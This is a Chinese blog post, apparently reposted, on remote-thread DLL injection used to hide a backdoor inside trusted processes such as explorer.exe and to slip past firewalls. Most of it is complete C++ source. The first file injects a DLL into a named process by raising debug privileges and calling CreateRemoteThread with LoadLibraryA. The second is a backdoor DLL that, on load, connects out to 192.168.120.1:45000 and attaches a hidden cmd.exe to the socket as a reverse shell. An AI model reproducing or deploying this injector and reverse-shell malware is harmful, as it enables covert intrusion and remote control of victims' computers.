使用DLL进行远程线程注入,实现穿墙与隐藏进程

简介

大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文件注入系统认可的正常进程,你会发现任务管理器以及找不到独立出现的恶意进程项了。反向连接型后门采用这种技术,注入防火墙认可的进程(例如大部分系统进程,像explorer.exe就很常见)还能够获得一定的穿墙效果。

    进程注入虽然已经是将近10年前的技术了,但是今天出现的很多新型黑客技术大多数还是基于这类老技术演变而来的。

1.进程注入工具源码:

//
//
// FileName : injectDll.cpp
// Creator : PeterZ1997
// Date : 2018-5-15 23:58
// Comment : DLL inject module
//
//

#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <windows.h>
#include <tlhelp32.h>

using namespace std;

#define MAX_COUNT 255

/**
 * @brief 提高进程权限
 * @param name   权限名
 */
BOOL EnableDebugPriv(LPCSTR name)
{
	HANDLE hToken;
	LUID luid;
	TOKEN_PRIVILEGES tp;
	// 打开进程令牌
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		printf("[!]Get Process Token Error!\n");
		return false;
	}
	// 获取权限Luid
	if (!LookupPrivilegeValue(NULL, name, &luid))
	{
		printf("[!]Get Privilege Error!\n");
		return false;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	// 修改进程权限
	if (!AdjustTokenPrivileges(hToken, false, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
	{
		printf("[!]Adjust Privilege Error!\n");
		return false;
	}
	return true;
}

bool EnableDebugPrivilege()
{
    TOKEN_PRIVILEGES tp = { 0 };
    void* htoken = NULL;
    bool bret = false;

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;// or 'FALSE' to disable.

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &htoken)) {
        LOGE("Opentoken fail,%d", GetLastError());
        return false;
    }


    if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &(tp.Privileges[0].Luid))) {
        if (AdjustTokenPrivileges(htoken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
            bret = true;
        }
        else {
            LOGE("Privileges2 fail,%d", GetLastError());
        }

    }
    else {
        LOGE("Lookup2 fail,%d", GetLastError());
    }


    CloseHandle(htoken);
    return bret;
}


/**
 * @brief 进程注入函数
 * @param pid            进程id
 * @param dllFileName    DLL文件的完整路径
 */
BOOL InjectDllProc(DWORD pid, LPCTSTR dllFileName)
{
	HANDLE hRemoteProcess;
	CHAR *pszDllSpace;
	if (!EnableDebugPriv(SE_DEBUG_NAME))
	{
		return false;
	}
	if ((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == NULL)
	{
		printf("[!]Open Target Process Error!\n");
		return false;
	}
	if ((pszDllSpace = (CHAR*)VirtualAllocEx(hRemoteProcess, NULL, strlen(dllFileName) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL)
	{
		printf("[!]Alloc Space Error!\n");
		return false;
	}
	if (WriteProcessMemory(hRemoteProcess, pszDllSpace, (LPVOID)dllFileName, strlen(dllFileName) + 1, NULL) == 0)
	{
		printf("[!]Write to the Memory Error!\n");
		return false;
	}
	PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
	if (pfnStartAddr == NULL)
	{
		printf("[!]Get <LoadLibrary> Function Error!\n");
		return false;
	}
	HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszDllSpace, 0, NULL);
	if (hRemoteThread == NULL)
	{
		printf("[!]Create Remote Thread Error!\n");
		return false;
	}
	return true;
}

/**
 * @brief 获取进程id
 * @param procName  进程名
 */
DWORD GetProcPid(LPCSTR procName)
{
	DWORD pid = 0;
	PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(pe32);
	HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProcSnap == INVALID_HANDLE_VALUE)
	{
		printf("[!]Can not Create Process Snap !\n");
		return -1;
	}
	BOOL bProc = Process32First(hProcSnap, &pe32);
	while (bProc)
	{
		if (!stricmp(procName, pe32.szExeFile))
		{
			return pe32.th32ProcessID;
		}
		bProc = Process32Next(hProcSnap, &pe32);
	}
	CloseHandle(hProcSnap);
	return pid;
}

/**
 * @brief 主函数
 */
int main(int argc, char* argv[])
{
	CHAR dllPath[MAX_COUNT] = "\0";
	WIN32_FIND_DATA wfd;
	if (argc != 3)
	{
		printf("[*Usage*] injectDll.exe <Process Name> <Dll Name>\n");
		return 0;
	}
	GetCurrentDirectory(sizeof(dllPath), dllPath);
	StringCchCat(dllPath, sizeof(dllPath), "\\");
	StringCchCat(dllPath, sizeof(dllPath), argv[2]);
	if (FindFirstFile(argv[2], &wfd) == INVALID_HANDLE_VALUE)
	{
		printf("[!] Can not Find Dll File !\n");
		return 0;
	}
	DWORD pid = GetProcPid(argv[1]);
	if (pid != -1)
	{
		if (!InjectDllProc(pid, dllPath))
		{
			printf("[!]Inject Dll Error!\n");
			return 0;
		}
		printf("[*]Inject Dll Success!\n");
	}
	else
	{
		printf("[*]Inject Dll Error!\n");
		return 0;
	}
	return 0;
}

2.Dll文件样例源码:

/
//
// FileName : BackDoorDLL.cpp
// Creator : PeterZ1997
// Date : 2018-5-11 00:10
// Comment : 零管道后门DLL
//


#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

using namespace std;

#define MAX_COUNT 255

/**
 * @brief 启动Cmd进程,与socket实例通信
 * @param lpParameter    多线程函数参数,此为传入socket实例
 */
DWORD WINAPI StartShellProc(LPVOID lpParameter)
{
	CHAR cmdLine[MAX_COUNT] = "\0";
	SOCKET sServer = (SOCKET)lpParameter;
	STARTUPINFO si;
	GetStartupInfo(&si);
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	si.wShowWindow = SW_HIDE;
	si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sServer;
	GetSystemDirectory(cmdLine, sizeof(cmdLine));
	StringCchCat(cmdLine, sizeof(cmdLine), "\\cmd.exe");
	PROCESS_INFORMATION pi;
	CreateProcess(NULL, cmdLine, NULL, NULL, true, 0, NULL, NULL, &si, &pi);
	WaitForSingleObject(pi.hProcess, INFINITE);
	CloseHandle(pi.hProcess);
	return 0;
}

/**
 * @brief socket建立函数
 * @param lpParameter    多线程函数参数,这里传入NULL
 */
DWORD WINAPI BackDoorThread(LPVOID lpParameter)
{
	CHAR szMessage[MAX_COUNT] = "===========> Hello,Admin <=============\n";
	WSADATA wsd;
	SOCKET sServer;
	sockaddr_in sin;
	if (WSAStartup(0x0202, &wsd)) return 0;
	if ((sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
	{
		return 0;
	}
	sin.sin_family = AF_INET;
	sin.sin_port = htons(45000);
	sin.sin_addr.S_un.S_addr = inet_addr("192.168.120.1");
	if (connect(sServer, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
	{
		return 0;
	}
	if (send(sServer, szMessage, strlen(szMessage), 0) == SOCKET_ERROR)
	{
		return 0;
	}
	HANDLE hThread = CreateThread(NULL, 0, StartShellProc, (LPVOID)sServer, 0, NULL);
	WaitForSingleObject(hThread, INFINITE);
	return 0;
}

/**
 * @brief DLL文件主函数
 */
BOOL WINAPI DllMain(
	_In_ HINSTANCE hinstDLL,
	_In_ DWORD     fdwReason,
	_In_ LPVOID    lpvReserved
)
{
	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		CreateThread(NULL, 0, BackDoorThread, NULL, 0, NULL);
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return true;
}

转载:https://www.cnblogs.com/PeterZ1997/p/9532051.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值